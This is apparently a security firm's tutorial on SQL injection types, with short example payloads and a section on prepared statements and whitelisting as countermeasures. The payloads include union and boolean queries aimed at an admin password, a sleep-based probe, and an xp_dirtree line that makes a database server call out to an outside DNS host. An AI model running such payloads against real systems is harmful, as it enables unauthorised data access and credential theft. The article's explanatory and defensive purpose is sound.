SQL injections are a specific type of injection attack. User-controlled input is inserted into an SQL statement with no or insufficient validation, thereby enabling an attacker to manipulate the SQL statement.

The fact that injections in general, and SQL injections in particular, are the top-ranking type of attack in the OWASP Top 10 2017 Project list, just as they have been in recent years, illustrates the fact that they are still a problem. A successful SQL injection can have a multitude of effects:

• An attacker may be able to use an SQL injection to read the data in the entire database.
• If the injection takes place in the login area, an attacker may be able to log in as another user without knowing their password.
• An attacker may also be able to manipulate or delete the data available in the database.
• In the worst-case scenario, they may even be able to execute operating system commands.

SQL injections in web application penetration tests

There are different types of SQL injections, namely:

• Error-based SQL injections
• Union-based SQL injections
• Boolean-based blind SQL injections
• Time-based blind SQL injections
• Out-of-band blind SQL injections

Error-based SQL injections

Error-based SQL injections are the easiest type of SQL injection to find. In the simplest case, all an attacker needs to do to change an SQL statement so that it results in an error is insert a semicolon ; or an apostrophe '. If the user’s input is not filtered and error output is not prevented, an attacker usually obtains extensive insight into the SQL statement.

An SQL statement that is vulnerable to SQL injection might look like this:

"SELECT name FROM articles WHERE articleId = ' " + userDefinedArticleId " ';"

An unfiltered ' turns it into the following statement, which results in an error message:

SELECT name FROM articles WHERE articleId = ' ' ';

This insight enables an attacker to create an extended, valid SQL statement that is then returned and displayed on the web page.

Union-based SQL injections

In the case of union-based SQL injections, the SQL UNION operator is used to combine the result of several SELECT statements to form a single result that is then returned. Data can thus be retrieved from other tables within the database.

To extend the example provided above, an attacker could attempt to launch the following attack:

1' UNION SELECT 'password' FROM users WHERE username = 'admin'

and thus potentially read the administrative user’s password, if the tables exist in this form and the username matches.

Blind SQL injections

In many cases, the error messages that the database generates are suppressed. But this does not solve the problem yet. There are different techniques for exploiting SQL injections, even if no error messages are returned.

Boolean-based blind SQL injections

When it comes to boolean-based blind SQL injections, an SQL statement is changed so that either a true or a false statement is created. If the answers to one of these statements change, the database can be read one character at a time using a series of queries. This avenue of attack is one that quickly becomes very time-consuming when implemented manually. But there are good tools, such as sqlmap, that can help with data extraction.

To continue the example from above if no error messages are returned, an attacker would attempt the following:

1' UNION SELECT 'a' WHERE 1=1--

and

1' UNION SELECT 'a' WHERE 1=2--

True and false statements can be inferred if the two answers are different. The attack is then extended to query the admin user’s password, for example.

1' UNION SELECT 'a' FROM users WHERE username = 'admin' and SUBSTRING(password, 1, 1) > 'm'--

Some assumptions were made here too, such as the names of the tables and the user. However, it would also be possible to find them out using similar true or false queries.

Time-based blind SQL injection

SQL queries are normally processed synchronously. Accordingly, the HTTP response can usually also be delayed by delaying or extending the SQL queries’ execution time. With time-based blind SQL injections, SQL statements that delay a true statement and immediately answer a false one are injected. One character after another in the database can thus be read again. But this is also a situation where manual data extraction quickly becomes a laborious task, necessitating reliance on the support of a tool or self-written scripts.

A delay can be triggered by injecting a sleep statement; if we were dealing with a MySQL database, the injection would look like this:

1' UNION SELECT sleep(10)

Out-of-band blind SQL injection

If all previous attempts to test SQL injection have failed, the out-of-band blind SQL injection can be used to launch a final attempt to perform SQL injections. In this scenario, an attacker attempts to establish network interaction with a system that they control. In most cases, they attempt to trigger a DNS query, since outgoing DNS queries normally aren’t prevented.

If we were dealing with a Microsoft SQL Server, the injection would look like this:

'; exec master..xp_dirtree '//sqlinjectionconfirmed.scip.ch/test'--

Source code analysis

However, it is also worth mentioning that SQL injection vulnerabilities can also be identified by analyzing source code. For a beginner’s guide to the topic of source code analysis, which is an effective way of uncovering SQL injection vulnerabilities, please refer to the article entitled Source code analysis – a beginner’s guide.

Countermeasures

Up until now, we have only looked at how to find SQL injection vulnerabilities. Below, we also demonstrate how to prevent them.

Using prepared statements enables separation of the SQL statement and the input data. This ensures that user input is not interpreted as SQL. Examples of specific programming languages can be found in the SQL Prevention Cheat Sheet from OWASP.

But prepared statements are not applicable to all areas of an SQL query. For example, if the table name or an ORDER BY clause has to be created dynamically, input must be checked against a whitelist. Escaping of special characters should only be used if neither prepared statements nor an input check against a whitelist are feasible, since it is very difficult to implement correctly and there is a risk of overlooked gaps that still allow SQL injection. However, supplementing prepared statements with a whitelist approach and an escaping approach makes perfect sense to build up secondary protection.

Conclusion

Unfortunately, SQL injections are still a problem. Even if there are no obvious vulnerabilities, blind SQL injection techniques can uncover additional vulnerabilities. SQL injection vulnerabilities can be eliminated using prepared statements.

About the Author

Andrea Hauser graduated with a Bachelor of Science FHO in information technology at the University of Applied Sciences Rapperswil. She is focusing her offensive work on web application security testing and the realization of social engineering campaigns. Her research focus is creating and analyzing deepfakes. (ORCID 0000-0002-5161-8658)

Links

• http://sqlmap.org
• https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html#defense-option-1-prepared-statements-with-parameterized-queries
• https://www.owasp.org/index.php/Top_10-2017_A1-Injection